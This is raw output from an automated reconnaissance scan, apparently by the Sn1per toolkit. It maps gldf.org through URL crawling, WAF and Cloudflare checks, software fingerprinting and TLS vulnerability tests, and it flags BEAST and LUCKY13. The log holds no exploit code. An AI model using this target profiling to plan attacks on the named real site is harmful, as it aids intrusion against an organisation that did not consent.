 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 69 / 100 ]-[17:15:31] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/actualites/fiche-actualite/?tx_dkactus_pi1_uid=213 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 70 / 100 ]-[17:15:33] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/produit/item/n-117.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 71 / 100 ]-[17:15:34] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=4&cHash=10d9384bbf17b9e5aa9f6c3df5349b72 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 72 / 100 ]-[17:15:35] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=8&cHash=ed088174dd2ef1eed1b1e39a0bd7100a ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 73 / 100 ]-[17:15:36] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=11&cHash=a09fc2fc6c256229b1b8be07655be1a7 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 74 / 100 ]-[17:15:38] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/points-de-vue-initiatiques.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 75 / 100 ]-[17:15:39] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos/videos-annee-2017-2018.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 76 / 100 ]-[17:15:40] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/pvi-revue-de-la-gldf/decouvrir-pvi.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 77 / 100 ]-[17:15:41] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/gldf-obedience-maconnique/gldf-une-fraternite-en-action/mathusalem.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 78 / 100 ]-[17:15:43] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/presentation-du-mab/apercu-des-collections.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 79 / 100 ]-[17:15:44] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/produit/item/dec2013n-170.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 80 / 100 ]-[17:15:45] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/presentation-du-mab/presentation-des-collections.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 81 / 100 ]-[17:15:46] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?page=4&cHash=10d9384bbf17b9e5aa9f6c3df5349b72 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 82 / 100 ]-[17:15:48] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/pvi-revue-de-la-gldf/pvi-audio.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 83 / 100 ]-[17:15:49] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/fonds-darchives-de-la-gldf/documents.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 84 / 100 ]-[17:15:50] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=7&cHash=87005bbb58872fa0a5f248f70f5608f4 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 85 / 100 ]-[17:15:51] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=14&cHash=383d0933aa5ee95a8b933fef1b445bc5 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 86 / 100 ]-[17:15:52] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=10&cHash=2c379a76e295b2dc7643ac0132d59fdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 87 / 100 ]-[17:15:54] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/patrimoine/le-grand-temple-pierre-brossolette.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 88 / 100 ]-[17:15:55] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/presentation-du-mab/mab-expositions-exterieures.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 89 / 100 ]-[17:15:56] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/les-questions-que-vous-vous-posez.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 90 / 100 ]-[17:15:57] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=6&cHash=9e833d5b057c1db1b40e3e5325b72837 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 91 / 100 ]-[17:15:59] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=16&cHash=b51954e0d9bc1d9e613ee15300a54f45 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 92 / 100 ]-[17:16:00] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=15&cHash=0e1c930b0a96f5488a6039dc3bb20e21 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 93 / 100 ]-[17:16:01] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=9&cHash=1249e09287658e86a1256f996eeb8290 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 94 / 100 ]-[17:16:02] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=3&cHash=d46aff65f0949857ea4d7da609237201 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 95 / 100 ]-[17:16:03] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/produit/item/pvi-184.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 96 / 100 ]-[17:16:05] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/gldf-obedience-maconnique/gldf-une-fraternite-en-action/entraide-fraternelle/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 97 / 100 ]-[17:16:06] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=2&cHash=fc952c515cc9eec39e9d4a55a654675b ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 98 / 100 ]-[17:16:07] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/gldf-obedience-maconnique/gldf-qui-sommes-nous/nos-valeurs.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 99 / 100 ]-[17:16:08] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html?page=5&cHash=576f584c6c1d2667d3b5cbea170a4897 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

[ INFO ] [ Shutting down ]
[ INFO ] [ End of process INURLBR at [05-01-2018 17:16:08]
[ INFO ] [ TOTAL FILTERED VALUES ]:: [ 2 ]
[ INFO ] [ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-gldf.org.txt  ]
|_________________________________________________________________________________________
https://www.gldf.org/uploads/tx_dklikbrochures/DP_GLDF.pdf
https://www.gldf.org/actualites-et-evenements-publics/salon-maconnique-des-arts.html

\_________________________________________________________________________________________/

 + -- --=[Port 110 closed... skipping.
 + -- --=[Port 111 closed... skipping.
 + -- --=[Port 135 closed... skipping.
 + -- --=[Port 139 closed... skipping.
 + -- --=[Port 161 closed... skipping.
 + -- --=[Port 162 closed... skipping.
 + -- --=[Port 389 closed... skipping.
 + -- --=[Port 443 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking https://gldf.org

 + -- ----------------------------=[Checking Cloudflare]=--------------------- -- +
   ____ _                 _ _____     _ _
  / ___| | ___  _   _  __| |  ___|_ _(_) |
 | |   | |/ _ \| | | |/ _` | |_ / _` | | |
 | |___| | (_) | |_| | (_| |  _| (_| | | |
  \____|_|\___/ \__,_|\__,_|_|  \__,_|_|_|
    v1.0.1                      by m0rtem


[17:16:11] Initializing CloudFail - the date is: 05/01/2018
[17:16:11] Fetching initial information from: gldf.org...
[17:16:11] Server IP: 51.254.204.201
[17:16:11] Testing if gldf.org is on the Cloudflare network...
[17:16:11] gldf.org is not part of the Cloudflare network, quitting...
 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
https://gldf.org [301 Moved Permanently] Apache[2.2.22], Country[UNITED KINGDOM][GB], HTTPServer[Debian Linux][Apache/2.2.22 (Debian)], IP[51.254.204.201], RedirectLocation[https://www.gldf.org/]
https://www.gldf.org/ [200 OK] Apache[2.2.22], Country[UNITED KINGDOM][GB], Google-Analytics[UA-3901121-1], HTML5, HTTPServer[Debian Linux][Apache/2.2.22 (Debian)], IP[51.254.204.201], JQuery[1.8.3], MetaGenerator[TYPO3 CMS], Modernizr, PoweredBy[TYPO3], Script[text/javascript], probably TYPO3, Title[Franc-Maçonnerie en Grande Loge De France - Accueil]

 + -- ----------------------------=[Gathering SSL/TLS Info]=------------------ -- +



 AVAILABLE PLUGINS
 -----------------

  PluginHSTS
  PluginHeartbleed
  PluginSessionRenegotiation
  PluginChromeSha1Deprecation
  PluginCompression
  PluginSessionResumption
  PluginCertInfo
  PluginOpenSSLCipherSuites



 CHECKING HOST(S) AVAILABILITY
 -----------------------------

   gldf.org:443                        => 51.254.204.201:443



 SCAN RESULTS FOR GLDF.ORG:443 - 51.254.204.201:443
 --------------------------------------------------

  * Deflate Compression:
      OK - Compression disabled

  * Session Renegotiation:
      Client-initiated Renegotiations:   OK - Rejected
      Secure Renegotiation:              OK - Supported

  * Certificate - Content:
      SHA1 Fingerprint:                  e3cbe73ce7e282bf59f838cf1a942cc4ecb8fb09
      Common Name:                       www.gldf.org
      Issuer:                            RapidSSL SHA256 CA
      Serial Number:                     74E36BEF6E2CAC3E5116A2512119FF3F
      Not Before:                        Apr 14 00:00:00 2016 GMT
      Not After:                         Apr 14 23:59:59 2018 GMT
      Signature Algorithm:               sha256WithRSAEncryption
      Public Key Algorithm:              rsaEncryption
      Key Size:                          2048 bit
      Exponent:                          65537 (0x10001)
      X509v3 Subject Alternative Name:   {'DNS': ['www.gldf.org', 'gldf.org']}

  * Certificate - Trust:
      Hostname Validation:               OK - Subject Alternative Name matches
      Google CA Store (09/2015):         FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Java 6 CA Store (Update 65):       FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Microsoft CA Store (09/2015):      FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Mozilla NSS CA Store (09/2015):    FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Apple CA Store (OS X 10.10.5):     FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
      Certificate Chain Received:        ['www.gldf.org']

  * Certificate - OCSP Stapling:
      NOT SUPPORTED - Server did not send back an OCSP response.

  * Session Resumption:
      With Session IDs:                  OK - Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
      With TLS Session Tickets:          OK - Supported

  * SSLV2 Cipher Suites:
      Server rejected all cipher suites.

  * SSLV3 Cipher Suites:
      Server rejected all cipher suites.



 SCAN COMPLETED IN 2.15 S
 ------------------------
Version: 1.11.10-static
OpenSSL 1.0.2-chacha (1.0.2g-dev)

Testing SSL server gldf.org on port 443 using SNI name gldf.org

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384
Accepted  TLSv1.2  256 bits  AES256-SHA256
Accepted  TLSv1.2  256 bits  AES256-SHA
Accepted  TLSv1.2  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256
Accepted  TLSv1.2  128 bits  AES128-SHA256
Accepted  TLSv1.2  128 bits  AES128-SHA
Accepted  TLSv1.2  128 bits  CAMELLIA128-SHA
Preferred TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  AES256-SHA
Accepted  TLSv1.1  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  AES128-SHA
Accepted  TLSv1.1  128 bits  CAMELLIA128-SHA
Preferred TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  AES256-SHA
Accepted  TLSv1.0  256 bits  CAMELLIA256-SHA
Accepted  TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  AES128-SHA
Accepted  TLSv1.0  128 bits  CAMELLIA128-SHA

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  www.gldf.org
Altnames: DNS:www.gldf.org, DNS:gldf.org
Issuer:   RapidSSL SHA256 CA

Not valid before: Apr 14 00:00:00 2016 GMT
Not valid after:  Apr 14 23:59:59 2018 GMT

###########################################################
    testssl       2.9dev from https://testssl.sh/dev/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 1.0.2-chacha (1.0.2i-dev)" [~183 ciphers]
 on Kali:/usr/share/sniper/plugins/testssl.sh/bin/openssl.Linux.x86_64
 (built: "Jun 22 19:32:29 2016", platform: "linux-x86_64")


 Start 2018-01-05 17:16:39        -->> 51.254.204.201:443 (gldf.org) <<--

 rDNS (51.254.204.201):  201.ip-51-254-204.eu.
 Service detected:       HTTP


 Testing protocols via sockets except SPDY+HTTP2 

 SSLv2      not offered (OK)
 SSLv3      not offered (OK)
 TLS 1      offered
 TLS 1.1    offered
 TLS 1.2    offered (OK)
 TLS 1.3    not offered
 SPDY/NPN   not offered
 HTTP2/ALPN not offered

 Testing ~standard cipher categories 

 NULL ciphers (no encryption)                  not offered (OK)
 Anonymous NULL Ciphers (no authentication)    not offered (OK)
 Export ciphers (w/o ADH+NULL)                 not offered (OK)
 LOW: 64 Bit + DES encryption (w/o export)     not offered (OK)
 Weak 128 Bit ciphers (SEED, IDEA, RC[2,4])    not offered (OK)
 Triple DES Ciphers (Medium)                   not offered (OK)
 High encryption (AES+Camellia, no AEAD)       offered (OK)
 Strong encryption (AEAD ciphers)              offered (OK)


 Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4 

 PFS is offered (OK)          ECDHE-RSA-AES256-GCM-SHA384
                              ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES256-SHA
                              ECDHE-RSA-AES128-GCM-SHA256
                              ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
 Elliptic curves offered:     prime256v1


 Testing server preferences 

 Has server cipher order?     yes (OK)
 Negotiated protocol          TLSv1.2
 Negotiated cipher            ECDHE-RSA-AES256-GCM-SHA384, 256 bit ECDH (P-256)
 Cipher order
    TLSv1:     ECDHE-RSA-AES256-SHA AES256-SHA CAMELLIA256-SHA
               ECDHE-RSA-AES128-SHA AES128-SHA CAMELLIA128-SHA
    TLSv1.1:   ECDHE-RSA-AES256-SHA AES256-SHA CAMELLIA256-SHA
               ECDHE-RSA-AES128-SHA AES128-SHA CAMELLIA128-SHA
    TLSv1.2:   ECDHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-SHA384
               ECDHE-RSA-AES256-SHA AES256-GCM-SHA384 AES256-SHA256 AES256-SHA
               CAMELLIA256-SHA ECDHE-RSA-AES128-GCM-SHA256
               ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES128-SHA AES128-GCM-SHA256
               AES128-SHA256 AES128-SHA CAMELLIA128-SHA


 Testing server defaults (Server Hello) 

 TLS extensions (standard)    "server name/#0" "renegotiation info/#65281"
                              "EC point formats/#11" "session ticket/#35"
                              "heartbeat/#15"
 Session Ticket RFC 5077 hint 300 seconds, session tickets keys seems to be rotated < daily
 SSL Session ID support       yes
 Session Resumption           Tickets: yes, ID: yes
 TLS clock skew               Random values, no fingerprinting possible
 Signature Algorithm          SHA256 with RSA
 Server key size              RSA 2048 bits
 Fingerprint / Serial         SHA1 E3CBE73CE7E282BF59F838CF1A942CC4ECB8FB09 / 74E36BEF6E2CAC3E5116A2512119FF3F
                              SHA256 C4F25B267B619B7554491AF696981850D866E87FE59C21BD26496797B57B7AD8
 Common Name (CN)             www.gldf.org
 subjectAltName (SAN)         www.gldf.org gldf.org 
 Issuer                       RapidSSL SHA256 CA (GeoTrust Inc. from US)
 Trust (hostname)             Ok via SAN (same w/o SNI)
 Chain of trust               NOT ok (chain incomplete)
 EV cert (experimental)       no
 Certificate Expiration       99 >= 60 days (2016-04-13 20:00 --> 2018-04-14 19:59 -0400)
 # of certificates provided   1
 Certificate Revocation List  http://gp.symcb.com/gp.crl
 OCSP URI                     http://gp.symcd.com
 OCSP stapling                not offered
 OCSP must staple             no
 DNS CAA RR (experimental)    not offered
 Certificate Transparency     yes (certificate extension)


 Testing HTTP header response @ "/" 

 HTTP Status Code             301 Moved Permanently, redirecting to "https://www.gldf.org/"
 HTTP clock skew              0 sec from localtime
 Strict Transport Security    --
 Public Key Pinning           --
 Server banner                Apache/2(B.2(B.2(B2(B (Debian(B)
 Application banner           --
 Cookie(s)                    (none issued at "/") -- maybe better try target URL of 30x
 Security headers             --
 Reverse Proxy banner         --


 Testing vulnerabilities 

 Heartbleed (CVE-2014-0160)                not vulnerable (OK), timed out
 CCS (CVE-2014-0224)                       not vulnerable (OK)
 Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)
 ROBOT                                     not vulnerable (OK)
 Secure Renegotiation (CVE-2009-3555)      not vulnerable (OK)
 Secure Client-Initiated Renegotiation     not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)
 BREACH (CVE-2013-3587)                    potentially NOT ok, uses gzip HTTP compression. - only supplied "/" tested
                                           Can be ignored for static pages or if no secrets in the page
 POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)
 TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)
 SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)
 FREAK (CVE-2015-0204)                     not vulnerable (OK)
 DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)
                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services
                                           https://censys.io/ipv4?q=C4F25B267B619B7554491AF696981850D866E87FE59C21BD26496797B57B7AD8 could help you to find out
 LOGJAM (CVE-2015-4000), experimental      not vulnerable (OK): no DH EXPORT ciphers, no DH key detected
 BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA
                                                 AES256-SHA CAMELLIA256-SHA
                                                 ECDHE-RSA-AES128-SHA
                                                 AES128-SHA CAMELLIA128-SHA 
                                           VULNERABLE -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2
 LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS
 RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)


 Testing 364 ciphers via OpenSSL plus sockets against the server, ordered by encryption strength 

Hexcode  Cipher Suite Name (OpenSSL)       KeyExch.   Encryption  Bits     Cipher Suite Name (RFC)
-----------------------------------------------------------------------------------------------------------------------------
 xc030   ECDHE-RSA-AES256-GCM-SHA384       ECDH 256   AESGCM      256      TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
 xc028   ECDHE-RSA-AES256-SHA384           ECDH 256   AES         256      TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
 xc014   ECDHE-RSA-AES256-SHA              ECDH 256   AES         256      TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
 x9d     AES256-GCM-SHA384                 RSA        AESGCM      256      TLS_RSA_WITH_AES_256_GCM_SHA384
 x3d     AES256-SHA256                     RSA        AES         256      TLS_RSA_WITH_AES_256_CBC_SHA256
